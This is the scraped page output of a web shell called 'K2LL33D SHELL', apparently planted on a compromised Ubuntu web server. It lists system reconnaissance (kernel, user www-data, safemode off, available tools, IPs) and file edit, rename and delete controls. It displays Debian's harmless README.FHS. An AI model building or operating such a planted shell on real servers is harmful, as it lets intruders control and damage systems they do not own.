K2LL33D SHELL

 Apache/2.4.7 (Ubuntu)
 Linux sman1baleendah 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64
 uid=33(www-data) gid=33(www-data) groups=33(www-data)
 safemode : OFF
 MySQL: ON | Perl: ON | cURL: OFF | WGet: ON
  >  / usr / share / doc / base-files /
server ip : 172.67.156.115

your ip : 172.69.130.131

H O M E


Filename/usr/share/doc/base-files/README.FHS
Size1.13 kb
Permissionrw-r--r--
Ownerroot : root
Create time27-Apr-2025 09:50
Last modified20-Feb-2014 10:43
Last accessed08-Jul-2025 01:04
Actionsedit | rename | delete | download (gzip)
Viewtext | code | image
The FHS standard specifies /var/mail as the mail spool, but it also says
/var/mail may be a symbolic link to another directory, and there is no
requirement to physically move the mail spool to this location.

Therefore, no package will move files around from one location to another
on upgrades, and /var/mail will be the real directory only in newly
installed systems.

Since /var/spool/mail has been in use for several years now, we need
also to provide backwards compatibility for some time yet.

So, to summarize:

* New systems (Debian 2.2 or later) will have /var/mail as a real
directory and /var/spool/mail as a symlink to it.

* Upgraded systems will have /var/spool/mail as the real directory
and /var/mail as a symlink to it.


People upgrading from previous releases who prefer the new physical
location /var/mail over the old one may do the required changes in their
systems if they do it with extreme care and know what they are doing. The
packages in charge of ensuring that /var/mail exists (currently, libc6 and
base-files) will not touch it at all if it already exists as a directory
or a symlink.


Santiago Vila <[email protected]>